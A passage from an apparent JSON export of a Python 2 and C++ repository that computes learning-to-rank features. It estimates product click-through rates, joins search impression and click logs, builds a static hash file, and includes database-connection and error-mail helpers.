3)\\n\\t\\t\\t\\t\\tpid_feature[item_name] = val\\n\\t\\t\\t\\n\\t\\t\\t\\tpid_process_feature = self.featureProcess(pid_feature)\\n\\t\\t\\t\\tpid, ctr = self.estimateCTR(pid, pid_process_feature)\\n\\t\\t#\\t\\tself.product_info[pid] = pid_feature\\n\\t\\t#\\t\\tself.product_norm_info[pid] = pid_process_feature\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\tdisfile.write(\\\"%s\\\\t%s\\\\n\\\" % (pid, ctr))\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tprint 'Can not connect to dbserver'\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\t\\traise Exception, ex\\n\\t\\tfinally:\\n\\t\\t\\tif srcfile:\\n\\t\\t\\t\\tsrcfile.close()\\n\\t\\t\\tif disfile:\\n\\t\\t\\t\\tdisfile.close()\\n\\n\\tdef featureProcess(self, pid_feature):\\t\\n\\t\\tpid_processed_feature = {}\\n\\n\\t\\tis_new = str2int(pid_feature['is_new'])\\n\\t\\tpid_processed_feature['is_new'] = is_new\\t\\t\\n\\n\\t\\tis_promo = str2int(pid_feature['is_discount'])\\n\\t\\tpid_processed_feature['is_discount'] = is_promo\\n\\n\\t\\tscore = str2float(pid_feature['score'])\\n\\t\\tif score >= 8:\\n\\t\\t\\tscore = 1\\n\\t\\telse:\\n\\t\\t\\tscore = 0\\n\\t\\tpid_processed_feature['score'] = score\\n\\n\\t\\td_uv = self.normalizedFeature(pid_feature['d_uv'], 50, False)\\n\\t\\tpid_processed_feature['d_uv'] = d_uv\\n\\n\\t\\tw_uv = self.normalizedFeature(pid_feature['w_uv'])\\n\\t\\tpid_processed_feature['w_uv'] = w_uv\\n\\n\\t\\tm_uv = self.normalizedFeature(pid_feature['m_uv'])\\n\\t\\tpid_processed_feature['m_uv'] = m_uv\\n\\n\\t\\tn_comm = self.normalizedFeature(pid_feature['review_total'])\\n\\t\\tpid_processed_feature['review_total'] = n_comm\\n\\n\\t\\tn_keep = self.normalizedFeature(pid_feature['n_keep'])\\t\\t\\n\\t\\tpid_processed_feature['n_keep'] = n_keep\\n\\n\\t\\treturn pid_processed_feature\\n\\n\\n\\tdef estimateCTR(self, pid, pid_feature_dt):\\n\\t\\tctr = self.weight_value['bias']\\n\\t\\tfor k,w in self.weight_value.items():\\n\\t\\t\\tif k == 'bias':\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tfeature_val = 0\\n\\t\\t\\tif k in pid_feature_dt:\\n\\t\\t\\t\\tfeature_val = pid_feature_dt[k]\\n\\t\\t\\tctr += w*feature_val\\n\\t\\treturn pid, 1.0/(1 + math.exp(0 - ctr))\\n\\n\\tdef run(self, weightpath, srcfilepath, disfilepath):\\n\\t\\tself.initWeights(weightpath)\\n\\t\\t#print self.weight_value\\n\\t\\tself.loadLogData(srcfilepath, disfilepath)\\n\\t\\t\\ndef str2float(f_str):\\n\\tval = 0\\n\\ttry:\\n\\t\\tval = float(f_str)\\n\\t\\tif val < 0:\\n\\t\\t\\tval = 0\\n\\texcept:\\n\\t\\tval = 0\\n\\treturn val\\n\\ndef str2int(i_str):\\n\\tval = 0\\n\\ttry:\\n\\t\\tval = int(i_str)\\n\\t\\tif val < 0:\\n\\t\\t\\tval = 0\\n\\texcept:\\n\\t\\tval = 0\\n\\treturn val\\t\\n\\n\\ndef main():\\n\\tif len(sys.argv) != 2:\\n\\t\\treturn\\n\\tcurday = sys.argv[1]\\n\\tweightpath = \\\"../data/model.txt\\\"\\n\\tsrcfilepath = \\\"../data/product_info_%s\\\" % curday\\n\\tdisfilepath = \\\"../data/pid_ctr\\\"\\n\\to = CaculateFeatures4Model()\\n\\to.run(weightpath, srcfilepath, disfilepath)\\n\\nif __name__ == \\\"__main__\\\":\\n\\tmain()\\n\"\n },\n {\n \"alpha_fraction\": 0.5661393404006958,\n \"alphanum_fraction\": 0.5792662501335144,\n \"avg_line_length\": 21.49242401123047,\n \"blob_id\": \"6a037f7bc6cf5600813f699c47bd0b1c7d04a7a5\",\n \"content_id\": \"6610c22f43c7c37a9d5a027e5021137730f8ab8e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2971,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 132,\n \"path\": \"/bin/process_show_click_data.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\nclass CalShowClick():\\n\\tdef __init__(self):\\n\\t\\tself.query_click = {}\\n\\t\\tself.query_show = {}\\n\\t\\tself.query_position = {}\\n\\t\\tself.query_searchtime = {}\\n\\n\\tdef getClickData(self, srcpath):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(srcpath, 'r')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = file.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tarray = line.strip().split('\\\\t')\\n\\t\\t\\t\\tquery = array[0].replace(\\\" \\\",\\\"\\\").replace(\\\"\\\\t\\\", \\\"\\\").replace(\\\"\\\\n\\\", \\\"\\\");\\n\\t\\t\\t\\tdict_pid_click = {}\\n\\t\\t\\t\\tfor i in range(1, len(array)):\\n\\t\\t\\t\\t\\tpid_click_str = array[i].strip().split(':')\\n\\t\\t\\t\\t\\tif len(pid_click_str) != 2:\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\t\\t\\tpid = str2int(pid_click_str[0])\\n\\t\\t\\t\\t\\tn_click = str2int(pid_click_str[1])\\n\\t\\t\\t\\t\\tdict_pid_click[pid] = n_click\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\tif query not in self.query_click:\\n\\t\\t\\t\\t\\tself.query_click[query] = dict_pid_click\\n\\t\\t\\t\\t#print query\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\n\\tdef getShowData(self, srcpath):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(srcpath, 'r')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = file.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\tarray = line.strip().split('|')\\n\\t\\t\\t\\tlenght = len(array)\\n\\t\\t\\t\\tif lenght < 2:\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\t\\tquery = array[0].replace(\\\" \\\",\\\"\\\").replace(\\\"\\\\t\\\", \\\"\\\");\\n\\t\\t\\t\\tn_search = array[1]\\n\\t\\t\\t\\tdict_pid_show = {}\\n\\t\\t\\t\\tdict_pid_pos = {}\\n\\t\\t\\t\\tfor i in range(2, lenght):\\n\\t\\t\\t\\t\\ttmp_str = array[i].strip().split(':')\\n\\t\\t\\t\\t\\tif len(tmp_str) != 3:\\n\\t\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\t\\tpid = str2int(tmp_str[0])\\n\\t\\t\\t\\t\\tpos = str2int(tmp_str[1])\\n\\t\\t\\t\\t\\tn_show = str2int(tmp_str[2])\\n\\t\\t\\t\\t\\tdict_pid_show[pid] = n_show\\n\\t\\t\\t\\t\\tdict_pid_pos[pid] = pos\\n\\n\\t\\t\\t\\tself.query_show[query] = dict_pid_show\\n\\t\\t\\t\\tself.query_searchtime[query] = n_search\\n\\t\\t\\t\\tself.query_position[query] = dict_pid_pos\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t#print query\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\tdef saveData(self, dispath):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(dispath, \\\"w+\\\")\\n\\t\\t\\tfor query, pid_show_dict in self.query_show.items():\\n\\n\\t\\t\\t\\tn_search = 0\\n\\t\\t\\t\\tif query in self.query_searchtime:\\n\\t\\t\\t\\t\\tn_search = self.query_searchtime[query]\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tfor pid, n_show in pid_show_dict.items():\\n\\t\\t\\t\\t\\tpos = self.query_position[query][pid]\\n\\t\\t\\t\\t\\tn_click = 0\\n\\t\\t\\t\\t\\tif query in self.query_click:\\n\\t\\t\\t\\t\\t\\tif pid in self.query_click[query]:\\n\\t\\t\\t\\t\\t\\t\\tn_click = self.query_click[query][pid]\\n\\n\\t\\t\\t\\t\\tfile.write(\\\"%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" % (query,\\\\\\n\\t\\t\\t\\t\\t\\t n_search, pid, pos, n_show, n_click))\\n\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\t\\t\\t\\t\\n\\ndef str2int(i_str):\\t \\n\\tval = 0\\t\\t\\t\\t\\n\\ttry:\\t\\t\\t\\t\\t\\n\\t\\tval = int(i_str)\\t \\n\\t\\tif val < 0:\\t\\t\\t\\n\\t\\t\\tval = 0\\t\\t\\t \\n\\texcept:\\t\\t\\t\\t\\t \\n\\t\\tval = 0\\t\\t\\t\\t\\t\\n\\treturn val\\n\\n\\ndef main():\\n\\tprint \\\"go ...\\\"\\n\\to = CalShowClick()\\n\\tshow_filepath = \\\"../data/show_click_tmp_data/log-20131031_search.clean\\\"\\n\\tclick_filepath = \\\"../data/show_click_tmp_data/search-131031\\\"\\n\\tdispath = \\\"../data/query_data\\\"\\n\\tprint \\\"show time ...\\\"\\n\\to.getShowData(show_filepath)\\n\\tprint \\\"click time ...\\\"\\n\\to.getClickData(click_filepath)\\t\\n\\tprint \\\"save data ..\\\"\\n\\to.saveData(dispath)\\n\\tprint \\\"ok !\\\"\\n\\n\\n\\nif __name__ == \\\"__main__\\\":\\n\\tmain()\\n\"\n },\n {\n \"alpha_fraction\": 0.617451548576355,\n \"alphanum_fraction\": 0.636565089225769,\n \"avg_line_length\": 23.385135650634766,\n \"blob_id\": \"16bd50ac7769db0e8b4081c6ffd31a5cf8b70da7\",\n \"content_id\": \"70f3bbfe20d771d26c7656c4a8dcfc9016500db5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3610,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 148,\n \"path\": \"/bin/main.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n\\nimport time, datetime\\n\\nfrom get_product_info import ProductInfo\\nfrom process_show_click_data import CalShowClick\\n\\ndef saveData(product_info_obj, show_click_obj, dispath):\\n\\tfile = None\\n\\ttry:\\n\\t\\tfile = open(dispath, \\\"w+\\\")\\n\\t\\tfor query, pid_show_dict in show_click_obj.query_show.items():\\n\\n\\t\\t\\tn_search = 0\\n\\t\\t\\tif query in show_click_obj.query_searchtime:\\n\\t\\t\\t\\tn_search = show_click_obj.query_searchtime[query]\\n\\n\\t\\t\\tfor pid, n_show in pid_show_dict.items():\\n\\t\\t\\t\\tpos = show_click_obj.query_position[query][pid]\\n\\t\\t\\t\\tn_click = 0\\n\\t\\t\\t\\tif query in show_click_obj.query_click:\\n\\t\\t\\t\\t\\tif pid in show_click_obj.query_click[query]:\\n\\t\\t\\t\\t\\t\\tn_click = show_click_obj.query_click[query][pid]\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tproduct_info = \\\"0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\\t0\\\"\\n\\t\\t\\t\\tif pid in product_info_obj.pid_info:\\n\\t\\t\\t\\t\\tproduct_info = product_info_obj.pid_info[pid]\\n\\n\\t\\t\\t\\tfile.write(\\\"%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" % (query,\\\\\\n\\t\\t\\t\\t\\t n_search, pid, pos, n_show, n_click, product_info))\\n\\n\\texcept Exception,ex:\\n\\t\\tprint ex\\n\\tfinally:\\n\\t\\tif file:\\n\\t\\t\\tfile.close()\\t\\n\\n\\ndef prepareSVMRankFile(filepath, disfilepath, lenght, feature_num, feature_index):\\n\\tsrcfile = None\\n\\tdisfile = None\\n\\n\\tqid = 0\\n\\tquery_old = None\\n\\ttry:\\n\\t\\tsrcfile = open(filepath, 'r')\\n\\t\\tdisfile = open(disfilepath, 'a+')\\n\\t\\tflag = 0\\n\\t\\twhile True:\\n\\t\\t\\tline = srcfile.readline()\\n\\t\\t\\tif not line:\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tarray = line.strip('\\\\n').split(\\\"\\\\t\\\")\\n\\n\\t\\t\\tif len(array) != feature_num:\\n\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\tquery = array[0]\\n\\t\\t\\tshow_time = int(array[4])\\n\\t\\t\\tclick_time = int(array[5])\\n\\t\\t\\t\\n\\t\\t\\tif query != query_old:\\n\\t\\t\\t\\tqid += 1\\n\\t\\t\\t\\tquery_old = query\\n\\t\\t\\t\\tflag = 0\\n\\t\\t\\t\\tif int(array[6]) == 0:\\n\\t\\t\\t\\t\\tflag = 1\\n\\n\\t\\t\\tif flag == 1:\\n\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\t#str = \\\"%s qid:%s\\\" % (ctr, qid)\\n\\t\\t\\tstr = \\\"%s %s qid:%s\\\" % (click_time, show_time, qid)\\n\\t\\t\\tfor i in range(lenght):\\n\\t\\t\\t\\tindex_id = feature_index[i]\\n\\t\\t\\t\\tstr = \\\"%s %s:%s\\\" % (str, i+1, array[index_id])\\n\\n\\t\\t\\tdisfile.write(\\\"%s\\\\n\\\" % str)\\n\\texcept Exception,ex:\\n\\t\\tprint ex\\n\\tfinally:\\n\\t\\tif srcfile:\\n\\t\\t\\tsrcfile.close()\\n\\t\\tif disfile:\\n\\t\\t\\tdisfile.close()\\n\\ndef getSpecifiedDay(curday, n):\\n\\t'''\\n\\tget the n days ago\\n\\t'''\\n\\ttry:\\n\\t\\tarray = curday.split('-')\\n\\t\\tif len(array) != 3:\\n\\t\\t\\treturn\\n\\t\\tyear = int(array[0])\\n\\t\\tmonth = int(array[1])\\n\\t\\tday = int(array[2])\\n\\t\\tpreday = datetime.datetime(year, month, day) - datetime.timedelta(n)\\n\\t\\treturn preday.strftime(\\\"%Y%m%d\\\")\\n\\texcept Exception ,ex:\\n\\t\\tprint 'get preday error~~'\\n\\t\\traise ex\\n\\treturn\\n\\n\\ndef main():\\n\\t\\n\\tprint \\\"go ...\\\"\\n\\tdata_path = \\\"../data\\\"\\n\\t\\n\\tcurday = datetime.datetime.now().strftime('%Y-%m-%d')\\n\\tcurday = getSpecifiedDay(curday, 1)\\n\\n\\tprint \\\"product info ...\\\"\\t\\n\\tproduct_info_obj = ProductInfo()\\n\\tproduct_info_obj.run()\\n\\t\\n\\tprint \\\"caculate show ...\\\"\\n\\tshow_click_obj = CalShowClick()\\n\\t\\n\\tshow_filename = \\\"log-%s_search.clean\\\" % curday\\n\\tshow_filepath = \\\"%s/temp_data/%s\\\" % (data_path, show_filename)\\n\\tshow_click_obj.getShowData(show_filepath)\\n\\n\\tprint \\\"caculate click...\\\"\\t\\n\\tclick_filename = \\\"search-%s\\\" % curday[2:]\\n\\tclick_filepath = \\\"%s/temp_data/%s\\\" % (data_path, click_filename)\\n\\tshow_click_obj.getClickData(click_filepath)\\n\\n\\tprint \\\"save search info ...\\\"\\n\\tsearch_log_filename = \\\"search_log_%s\\\" % curday\\n\\tdispath = \\\"%s/%s\\\" % (data_path, search_log_filename)\\n\\tsaveData(product_info_obj, show_click_obj, dispath)\\n\\n#\\tprint \\\"conver data to svmrank format ...\\\"\\t\\n#\\tsvmrank_filename = \\\"svmrank_data_%s\\\" % curday\\n#\\tsvmrank_filepath = \\\"%s/%s\\\" % (data_path, svmrank_filename)\\n#\\tlenght = 16\\n#\\tfeature_num = 23 \\n#\\tfeature_index = [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]\\t\\n#\\tprepareSVMRankFile(dispath, svmrank_filepath, lenght, feature_num, feature_index)\\n\\tprint \\\"end !\\\"\\t\\n\\t\\n\\n\\n\\nif __name__ == \\\"__main__\\\":\\n\\tmain()\\t\\n\"\n },\n {\n \"alpha_fraction\": 0.6327652335166931,\n \"alphanum_fraction\": 0.64211106300354,\n \"avg_line_length\": 21.456790924072266,\n \"blob_id\": \"cda485fde8ab3bbb57ccc4fefda5e4a47949cc2a\",\n \"content_id\": \"ee02209925a875476bbef292a49f654d2985d8cb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1819,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 81,\n \"path\": \"/bin/map2staticmap.cpp\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<iostream>\\n#include<string>\\n#include<map>\\n#include<vector>\\n#include <fstream>\\n\\n#include\\\"nokey_static_hash.h\\\"\\n\\nusing namespace std;\\n\\n\\ninline void split(const string& str, const string& sp, vector<string>& out) {\\n\\tout.clear();\\n\\tstring s = str;\\n\\tsize_t beg, end;\\n\\twhile (!s.empty()) {\\n\\t\\tbeg = s.find_first_not_of(sp);\\n\\t\\tif (beg == string::npos) {\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tend = s.find(sp, beg);\\n\\t\\tout.push_back(s.substr(beg, end - beg));\\n\\t\\tif (end == string::npos) {\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\ts = s.substr(end, s.size() - end);\\n\\t}\\n}\\n\\nint main(int argc, char** argv)\\n{\\n\\tstring srcfilepath = \\\"../data/pid_ctr\\\"; //srcfile path\\n\\tifstream fin(srcfilepath.c_str());\\n\\tif(!fin)\\n\\t{\\n\\t\\t//LOG_MSG_INFO(\\\"\\\\topen srcfile:pid_ranking_val.txt fail\\\");\\n\\t\\tcout<<\\\"open srcfile:search_data_log fail\\\"<<endl;\\n\\t\\treturn -1;\\n\\t}\\n\\n\\t//tmp map for read data from srcfile to memory\\n\\tmap<int, double> m_pid_rankvalue;\\n\\tstring line;\\n\\twhile(getline(fin, line)){\\n\\t\\tvector<string> tmp_vec;\\n\\t\\tsplit(line, \\\"\\\\t\\\", tmp_vec);\\n\\t\\tif(tmp_vec.size() != 2)\\n\\t\\t{\\n\\t\\t\\tcontinue;\\n\\t\\t}\\n\\n\\t\\tint pid = atoi(tmp_vec[0].c_str());\\n\\t\\tdouble rank_val = atof(tmp_vec[1].c_str());\\n\\n\\t\\tm_pid_rankvalue[pid] = rank_val;\\n\\t}\\n\\n\\tstatic_hash_map<int, double> shm_pid_rankvalue; //static_hash_map \\n\\tif(shm_pid_rankvalue.container_to_hash_file(m_pid_rankvalue, 15, \\\"../data/pid2rankvalue\\\"))\\n\\t{\\n\\t\\t//LOG_MSG_INFO(\\\"\\\\twrite hash file success\\\");\\n\\t\\tcout<<\\\"write hash file success\\\"<<endl;\\n\\t}\\n\\telse\\n\\t{\\n\\t\\t//LOG_MSG_ERROR(\\\"\\\\twrite hash file fail!\\\");\\n\\t\\tcout<<\\\"write hash file fail\\\"<<endl;\\n\\t}\\n\\n\\t/*\\t\\n\\tcout<<\\\"i am here\\\"<<endl;\\n\\tstatic_hash_map<int, double> shm_pid2value;\\n \\tshm_pid2value.load_serialized_hash_file(\\\"../data/pid2rankvalue\\\", 0);\\n\\tcout<<shm_pid2value.size()<<endl;\\n\\tcout<<shm_pid2value[479]<<endl;\\n\\t//LOG_MSG_INFO(\\\"WRITE HASH VALUE TO FILE END\\\");\\n\\t*/\\n\\tcout<<\\\"WRITE HASH VALUE TO FILE END\\\"<<endl;\\n\\n\\treturn 0;\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.43412625789642334,\n \"alphanum_fraction\": 0.4387008249759674,\n \"avg_line_length\": 29.774648666381836,\n \"blob_id\": \"3de1427f1028b2030378b24a276093caa3231e65\",\n \"content_id\": \"0b6b82415e95650f56d8c6dd58569aab4607e4f1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2280,\n \"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 71,\n \"path\": \"/lib/db_factory.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#encoding:utf8\\n\\nimport sys\\nimport time\\n\\nfrom data_access_object import DataObject\\n\\nclass DBFactory(object):\\n '''\\n 多次连接数据库公用方法\\n CONN_NUM 连接次数\\n SLEEP_TIME 每次中断时间\\n '''\\n CONN_NUM = 3\\n SLEEP_TIME = 5 \\n\\n @staticmethod\\n def Connect(dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\\n '''\\n 输入连接参数连接数据库\\n '''\\n num = 0\\n db_conn = None\\n\\n while(True):\\n try:\\n num += 1\\n db_conn = DataObject.Connect(dbtype, host, dsn, database, charset, user, password, port)\\n return db_conn\\n except Exception,ex:\\n if num <= DBFactory.CONN_NUM:\\n time.sleep(DBFactory.SLEEP_TIME)\\n num += 1\\n else:\\n raise Exception, '(DB connect Error)%s' % ex\\n \\n\\n @staticmethod\\n def connect_conf(config,dbkey):\\n '''\\n 输入连接conf,以及连接对应的才conf中key连接\\n '''\\n num = 0\\n db_conn = None\\n\\n while(True):\\n try:\\n num += 1\\n db_conn = DBFactory._get_connect(config,dbkey)\\n return db_conn\\n except Exception,ex:\\n if num <= DBFactory.CONN_NUM:\\n time.sleep(DBFactory.SLEEP_TIME)\\n num += 1\\n else:\\n raise Exception, '(DB connect Error)%s' % ex\\n\\n @staticmethod\\n def _get_connect(config,dbkey):\\n db_type = config.get(dbkey, 'db_type')\\n db_conf = eval(config.get(dbkey, 'db_conf'))\\n db_conn = DataObject.Connect(db_type,\\n host = db_conf.get('host'),\\n dsn = db_conf.get('dsn',''),\\n database = db_conf.get('db'),\\n charset = db_conf.get('charset',''),\\n user = db_conf.get('user'),\\n password = db_conf.get('passwd'),\\n port = db_conf.get('port'))\\n return db_conn\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6465652585029602,\n \"alphanum_fraction\": 0.6523334980010986,\n \"avg_line_length\": 19.717391967773438,\n \"blob_id\": \"a4365870058e2be2c2811acacd146a69dc4de37a\",\n \"content_id\": \"d063bdd34224b3b3f0addbaa4256b7ab2ad6440c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2051,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 92,\n \"path\": \"/lib/mail_sender.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#encoding:utf8\\n\\n## Author : xiaominggege\\n## Modited: liuxufeng\\n## last change time: 2012-08-21\\n## work for: 发送错误邮件，邮件内容包含了traceback信息\\n## 不支持：\\n##\\t 附件，抄送\\n\\nimport os\\nimport sys\\nimport traceback\\nimport inspect\\nimport datetime\\nimport smtplib, mimetypes\\nfrom email.MIMEText import MIMEText\\n\\n\\nclass MailSender(object):\\n\\t'''\\n\\t向邮箱发送错误信息\\n\\t用法：MailSender().SendMail(receiverlist, sub = 'AntiFraud ERROR', content= 'Error info')\\n\\t'''\\n\\tdef __init__(self):\\n\\t\\tself.frm = \\\"ddclick_download_script@dangdang.com\\\"\\n\\t\\tself.message = '' # restore the info of traceback\\n\\t\\tself.errFilePath = ''\\n\\t\\n\\tdef write(self, str):\\n\\t\\t'''\\n\\t\\t把traceback信息存储必须的函数\\n\\t\\t'''\\n\\t\\tself.message += str\\n\\n\\tdef __getContent(self):\\n\\t\\t'''\\n\\t\\t得到traceback信息\\n\\t\\t'''\\n\\t\\ttraceback.print_exc(file = self)\\n\\n\\tdef __getReceiverList(self, receivers) :\\n\\t\\t'''\\n\\t\\t得到收件人列表\\n\\t\\t'''\\n\\t\\tif isinstance(receivers, list):\\n\\t\\t\\treturn ';'.join(receivers)\\n\\t\\treturn receivers\\n\\n\\tdef __getErrFilePath(self):\\n\\t\\t'''\\n\\t\\t得到发生error的文件的路径\\n\\t\\t'''\\n\\t\\tn = len(inspect.stack())\\n\\t\\tcurrent_file = inspect.stack()[n-1][1]\\n\\t\\treturn os.path.abspath(current_file)\\n\\t\\n\\tdef sendMail(self, receiver, sub = 'AntiFraud ERROR', content= 'Error info'):\\n\\t\\t'''\\n\\t\\t发送邮件\\n\\t\\t'''\\n\\t\\treceiverlist = self.__getReceiverList(receiver)\\n\\t\\tself.__getContent()\\n\\t\\tself.errFilePath = self.__getErrFilePath()\\n\\t\\tcontent = \\\">>>%s<<<%s%s%s%s\\\" % (content, '\\\\nin: ',str(self.errFilePath), '\\\\n', self.message)\\n\\t\\ttry:\\n\\t\\t\\tmsg = MIMEText(content)\\n\\t\\t\\tmsg['From'] = self.frm\\n\\t\\t\\tmsg['To'] = receiverlist\\n\\t\\t\\tmsg['Subject'] = sub\\n\\t\\t\\tsmtp_server = smtplib.SMTP('localhost')\\n\\t\\t\\tsmtp_server.sendmail(self.frm, receiver, msg.as_string())\\n\\t\\t\\tsmtp_server.quit()\\n\\t\\texcept Exception, ex:\\n\\t\\t\\tprint 'Error when sending email'\\n\\t\\t\\traise ex\\n\\t#\\n\\ndef test():\\n\\treceiver = ['516269695@qq.com']\\n\\tmm = MailSender()\\n\\ttry:\\n\\t\\ta = int('')\\n\\texcept Exception, ex:\\n\\t\\t#sub = 'Error'\\n\\t\\t#content = 'ERror when program running'\\n\\t\\tprint ex\\n\\t\\tmm.sendMail(receiver)\\n\\n\\t\\nif __name__ =='__main__':\\n\\ttest()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6179859042167664,\n \"alphanum_fraction\": 0.6268935203552246,\n \"avg_line_length\": 23.7009220123291,\n \"blob_id\": \"281afe51dea68b139d29ff8b3e67102d6a478fe4\",\n \"content_id\": \"60cdf43b8c582f2da9e1a56e487ea4e71ca1befa\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 20350,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 759,\n \"path\": \"/lib/data_access_object.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# -*- coding: utf-8 -*-\\n'''\\n Author:yuecong\\n UploadTime:2012-07-22 17:07:00\\n'''\\n\\nimport re\\nimport sys\\nimport ConfigParser\\n#sys.path.append('/usr/local/hive')\\n\\n#from hive_service import ThriftHive\\n#from hive_service.ttypes import HiveServerException\\nfrom thrift import Thrift\\nfrom thrift.transport import TSocket\\nfrom thrift.transport import TTransport\\nfrom thrift.protocol import TBinaryProtocol\\n \\nclass DataObject(object):\\n\\tdef __init__(self):\\n\\t\\tself.conn_str = []\\n\\t\\tself.conn = None\\n\\t\\tself.cursor = None\\n\\t\\tself.rowcount = 0\\n\\t\\tself.config = None\\n\\t\\tself.tmpfile = ''\\n\\t\\tself.debug_mode = False \\n\\t\\treload(sys)\\n\\t\\tsys.setdefaultencoding('utf8')\\n\\n\\n\\tdef connect(self,dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\\n\\t\\t'''\\n\\t\\t\\t连接指定的数据源，MySQL,SQLServer,Oracle,Hive\\n\\t\\t\\tparams:\\n\\t\\t\\tdbtype: 'mysql', 'mssql', 'oracle', 'hive'\\n\\t\\t\\thost: 域名或ip地址\\n\\t\\t\\tdsn: 连接oracle数据库专用\\n\\t\\t\\tcharset: 如果原生的驱动支持charset选项，则可以设置，MySQLdb, pymssql支持， cx_Oracle与HIveThrift不支持\\n\\t\\t'''\\n\\t\\tself.conn_str = [dbtype,host,user,password,database,port,charset]\\n\\n\\t\\t_dbtype = dbtype.lower()\\n\\t\\t_host = host\\n\\t\\t_dsn = dsn\\n\\t\\t_user = user\\n\\t\\t_password = password\\n\\t\\t_db = database\\n\\t\\t_port = int(port)\\n\\t\\t_charset = charset\\n\\n\\t\\tif _dbtype == 'mysql':\\n\\t\\t\\timport MySQLdb\\n\\t\\t\\tself.conn = MySQLdb.connect(host = _host, db = _db, port = _port, charset = _charset, \\\\\\n\\t\\t\\t\\t\\t\\t\\t\\t user = _user, passwd = _password, use_unicode = 'True')\\n\\t\\tif _dbtype == 'mssql':\\n\\t\\t\\timport pymssql\\n\\t\\t\\tself.conn = pymssql.connect(host = _host, user = _user, password = _password, database = _db, charset = _charset) \\n\\n\\t\\tif _dbtype == 'oracle':\\n\\t\\t\\timport cx_Oracle\\n\\t\\t\\tself.conn = cx_Oracle.connect(user = _user, password = _password, dsn = _dsn)\\n\\n\\t\\tif _dbtype == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\ttransport = TSocket.TSocket(host = _host, port = _port)\\n\\t\\t\\t\\tself.conn = 